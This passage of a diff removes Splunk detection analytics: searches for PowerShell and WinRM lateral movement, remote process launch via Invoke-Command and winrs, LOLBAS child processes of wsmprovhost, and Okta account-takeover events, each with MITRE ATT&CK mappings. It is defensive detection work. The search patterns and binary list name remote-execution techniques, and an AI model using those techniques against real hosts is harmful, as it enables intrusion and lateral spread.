(Processes.process_name=cmd.exe AND Processes.process=*pwsh.exe*)) NOT (Processes.process IN (\"*c:\\windows\\ccm\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `possible_lateral_movement_powershell_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell process was spawned as a child process of typically abused processes on $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.003", - "mitre_attack_technique": "Distributed Component Object Model", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1047", - "mitre_attack_technique": "Windows Management Instrumentation", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "APT41", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Deep Panda", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "Indrik Spider", - "Lazarus Group", - "Leviathan", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Sandworm Team", - "Stealth Falcon", - "TA2541", - "Threat Group-3390", - "ToddyCat", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1053.005", - "mitre_attack_technique": "Scheduled Task", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "BITTER", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cobalt Group", - "Confucius", - "Dragonfly", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Kimsuky", - "Lazarus Group", - "LuminousMoth", - "Machete", - "Magic Hound", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Stealth Falcon", - "TA2541", - "ToddyCat", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218.014", - "mitre_attack_technique": "MMC", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Powershell Remote Services Add TrustedHost", - "description": "The following analytic detects the execution of a PowerShell script that modifies the 'TrustedHosts' configuration via EventCode 4104. It leverages PowerShell Script Block Logging to identify commands targeting WSMan settings, specifically those altering or concatenating trusted hosts. This activity is significant as it can indicate attempts to manipulate remote connection settings, potentially allowing unauthorized remote access. If confirmed malicious, this could enable attackers to establish persistent remote connections, bypass security protocols, and gain unauthorized access to sensitive systems and data.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*WSMan:\\\\localhost\\\\Client\\\\TrustedHosts*\" ScriptBlockText IN (\"* -Value *\", \"* -Concatenate *\") | rename Computer as dest, UserID as user | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_remote_services_add_trustedhost_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "a powershell script adding a remote trustedhost on $dest$ .", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Remote Process Instantiation via WinRM and PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with arguments used to start a process on a remote endpoint via the WinRM protocol, specifically targeting the `Invoke-Command` cmdlet. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process telemetry. This activity is significant as it may indicate lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this could allow attackers to execute arbitrary code on remote systems, potentially leading to further compromise and lateral spread within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` (Processes.process=\"*Invoke-Command*\" AND Processes.process=\"*-ComputerName*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `remote_process_instantiation_via_winrm_and_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process was started on a remote endpoint from $dest by abusing WinRM using PowerShell.exe", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Remote Process Instantiation via WinRM and PowerShell Script Block", - "description": "The following analytic detects the execution of PowerShell commands that use the `Invoke-Command` cmdlet to start a process on a remote endpoint via the WinRM protocol. It leverages PowerShell Script Block Logging (EventCode=4104) to identify such activities. This behavior is significant as it may indicate lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this activity could allow attackers to execute arbitrary code on remote systems, potentially leading to further compromise and persistence within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=\"*Invoke-Command*\" AND ScriptBlockText=\"*-ComputerName*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `remote_process_instantiation_via_winrm_and_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process was started on a remote endpoint from $Computer$ by abusing WinRM using PowerShell.exe", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Remote Process Instantiation via WinRM and Winrs", - "description": "The following analytic detects the execution of `winrs.exe` with command-line arguments used to start a process on a remote endpoint. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions mapped to the `Processes` node of the `Endpoint` data model. This activity is significant as it may indicate lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this could allow attackers to execute arbitrary code on remote systems, potentially leading to further compromise and lateral spread within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=winrs.exe OR Processes.original_file_name=winrs.exe) (Processes.process=\"*-r:*\" OR Processes.process=\"*-remote:*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `remote_process_instantiation_via_winrm_and_winrs_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A process was started on a remote endpoint from $dest", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Wsmprovhost LOLBAS Execution Process Spawn", - "description": "The following analytic identifies `Wsmprovhost.exe` spawning a LOLBAS execution process. It leverages Endpoint Detection and Response (EDR) data to detect when `Wsmprovhost.exe` spawns child processes that are known LOLBAS (Living Off the Land Binaries and Scripts) executables. This activity is significant because it may indicate an adversary using Windows Remote Management (WinRM) to execute code on remote endpoints, a common technique for lateral movement. If confirmed malicious, this could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=wsmprovhost.exe) (Processes.process_name IN (\"Regsvcs.exe\", \"Ftp.exe\", \"OfflineScannerShell.exe\", \"Rasautou.exe\", \"Schtasks.exe\", \"Xwizard.exe\", \"Dllhost.exe\", \"Pnputil.exe\", \"Atbroker.exe\", \"Pcwrun.exe\", \"Ttdinject.exe\",\"Mshta.exe\", \"Bitsadmin.exe\", \"Certoc.exe\", \"Ieexec.exe\", \"Microsoft.Workflow.Compiler.exe\", \"Runscripthelper.exe\", \"Forfiles.exe\", \"Msbuild.exe\", \"Register-cimprovider.exe\", \"Tttracer.exe\", \"Ie4uinit.exe\", \"Bash.exe\", \"Hh.exe\", \"SettingSyncHost.exe\", \"Cmstp.exe\", \"Mmc.exe\", \"Stordiag.exe\", \"Scriptrunner.exe\", \"Odbcconf.exe\", \"Extexport.exe\", \"Msdt.exe\", \"WorkFolders.exe\", \"Diskshadow.exe\", \"Mavinject.exe\", \"Regasm.exe\", \"Gpscript.exe\", \"Rundll32.exe\", \"Regsvr32.exe\", \"Msiexec.exe\", \"Wuauclt.exe\", \"Presentationhost.exe\", \"Wmic.exe\", \"Runonce.exe\", \"Syncappvpublishingserver.exe\", \"Verclsid.exe\", \"Infdefaultinstall.exe\", \"Explorer.exe\", \"Installutil.exe\", \"Netsh.exe\", \"Wab.exe\", \"Dnscmd.exe\", \"At.exe\", \"Pcalua.exe\", \"Msconfig.exe\")) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `wsmprovhost_lolbas_execution_process_spawn_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Wsmprovhost.exe spawned a LOLBAS process on $dest$.", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -357630,838 +254517,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events" ] - }, - { - "name": "Okta New API Token Created", - "description": "The following analytic detects the creation of a new API token within an Okta tenant. It uses OktaIm2 logs ingested via the Splunk Add-on for Okta Identity Cloud to identify events where the `system.api_token.create` command is executed. This activity is significant because creating a new API token can indicate potential account takeover attempts or unauthorized access, allowing an adversary to maintain persistence. If confirmed malicious, this could enable attackers to execute API calls, access sensitive data, and perform administrative actions within the Okta environment.", - "search": " | tstats `security_content_summariesonly` count max(_time) as lastTime, min(_time) as firstTime from datamodel=Change where All_Changes.action=created AND All_Changes.command=system.api_token.create by _time span=5m All_Changes.user All_Changes.result All_Changes.command sourcetype All_Changes.src All_Changes.action All_Changes.object_category | `drop_dm_object_name(\"All_Changes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_new_api_token_created_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new API token was created in Okta by [$user$]. Investigate further to determine if this was authorized.", - "risk_score": 64, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Okta Phishing Detection with FastPass Origin Check", - "description": "The following analytic identifies failed user authentication attempts in Okta due to FastPass declining a phishing attempt. It leverages Okta logs, specifically looking for events where multi-factor authentication (MFA) fails with the reason \"FastPass declined phishing attempt.\" This activity is significant as it indicates that attackers are targeting users with real-time phishing proxies, attempting to capture credentials. If confirmed malicious, this could lead to unauthorized access to user accounts, potentially compromising sensitive information and furthering lateral movement within the organization.", - "search": "`okta` eventType=\"user.authentication.auth_via_mfa\" AND result=\"FAILURE\" AND outcome.reason=\"FastPass declined phishing attempt\" | stats count min(_time) as firstTime max(_time) as lastTime values(displayMessage) by user eventType client.userAgent.rawUserAgent client.userAgent.browser outcome.reason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_phishing_detection_with_fastpass_origin_check_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Okta FastPass has prevented $user$ from authenticating to a malicious site.", - "risk_score": 100, - "security_domain": "access", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "Okta Suspicious Activity Reported", - "description": "The following analytic identifies when an associate reports a login attempt as suspicious via an email from Okta. It leverages Okta Identity Management logs, specifically the `user.account.report_suspicious_activity_by_enduser` event type. This activity is significant as it indicates potential unauthorized access attempts, warranting immediate investigation to prevent possible security breaches. If confirmed malicious, the attacker could gain unauthorized access to sensitive systems and data, leading to data theft, privilege escalation, or further compromise of the environment.", - "search": "`okta` eventType=user.account.report_suspicious_activity_by_enduser | stats count min(_time) as firstTime max(_time) as lastTime values(displayMessage) by user eventType client.userAgent.rawUserAgent client.userAgent.browser client.geographicalContext.city client.geographicalContext.country | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_suspicious_activity_reported_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A user [$user$] reported suspicious activity in Okta. Investigate further to determine if this was authorized.", - "risk_score": 25, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Multiple Okta Users With Invalid Credentials From The Same IP", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `Okta Multiple Users Failing To Authenticate From Ip`. This analytic identifies multiple failed logon attempts from a single IP in a short period of time. Use this analytic to identify patterns of suspicious logins from a single source and filter as needed or use this to drive tuning for higher fidelity analytics.", - "search": "`okta` eventType=user.session.start outcome.result=FAILURE | rename client.geographicalContext.country as country, client.geographicalContext.state as state, client.geographicalContext.city as city | stats min(_time) as firstTime max(_time) as lastTime dc(src_user) as distinct_users values(src_user) as users by src_ip, displayMessage, outcome.reason, country, state, city | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search distinct_users > 5| `multiple_okta_users_with_invalid_credentials_from_the_same_ip_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Multple user accounts have failed to authenticate from a single IP.", - "risk_score": 9, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Okta Account Lockout Events", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `Okta Multiple Accounts Locked Out`. The following anomaly will generate based on account lockout events utilizing Okta eventTypes of user.account.lock.limit or user.account.lock. Per the Okta docs site, this event is fired when a user account has reached the lockout limit. The account will not auto-unlock and a user or client cannot gain access to the account. This event indicates an account that will not be able to log in until remedial action is taken by the account admin. This event can be used to understand the specifics of an account lockout. Often this indicates a client application that is repeatedly attempting to authenticate with invalid credentials such as an old password.", - "search": "`okta` eventType IN (user.account.lock.limit,user.account.lock) | rename client.geographicalContext.country as country, client.geographicalContext.state as state, client.geographicalContext.city as city | stats count min(_time) as firstTime max(_time) as lastTime values(src_user) by displayMessage, country, state, city, src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_account_lockout_events_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "The following user $src_user$ has locked out their account within Okta.", - "risk_score": 25, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Okta Failed SSO Attempts", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with this detection `Okta Unauthorized Access to Application - DM`. The following anomaly identifies failed Okta SSO events utilizing the legacy Okta event \"unauth app access attempt\".", - "search": "`okta` eventType=app.generic.unauth_app_access_attempt | stats min(_time) as firstTime max(_time) as lastTime values(app) as Apps count by src_user, result ,displayMessage, src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_failed_sso_attempts_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "$src_user$ failed SSO authentication to the app.", - "risk_score": 16, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense 